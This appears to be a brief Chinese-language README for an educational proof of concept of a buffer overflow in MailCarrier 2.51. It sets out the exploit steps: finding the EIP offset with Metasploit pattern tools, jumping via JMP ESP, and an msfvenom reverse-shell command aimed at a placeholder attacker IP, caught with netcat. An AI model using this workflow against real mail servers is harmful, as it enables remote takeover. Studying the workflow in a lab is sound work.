本概念验证(PoC)展示了 MailCarrier 2.51 中的缓冲区溢出漏洞,允许远程攻击者通过长字符串执行任意代码。该漏洞可通过以下流程利用:
SMTP RCPT TOPOP3 USERPOP3 LISTPOP3 TOPPOP3 RETR本项目旨在提供一种学术方法,帮助理解缓冲区溢出是如何工作的。
在运行任何测试之前,切勿使用你的生产环境进行初始实验。相反,应创建一个与生产环境类似的实验室环境,以免出现问题或意外后果。
msf-pattern_create -l <字节数>
这有助于确定偏移量,即覆盖 EIP 所需的精确字节数。
msf-pattern_offset -q <EIP寄存器上的字节> -l <字节数>
这样可以识别控制 EIP 所需的精确字节数。
JMP ESP
CALL ESP
我们将使用这个地址来重定向执行。请注意 ASLR、SafeSEH 或其他保护机制。
msfvenom -p <shellcode> LHOST=<攻击者IP> LPORT=443 -b "<坏字符列表>" exitfunc=thread -f python
NOP(\x90)指令以提高稳定性。netcat(nc)创建反向 shell 并连接到目标。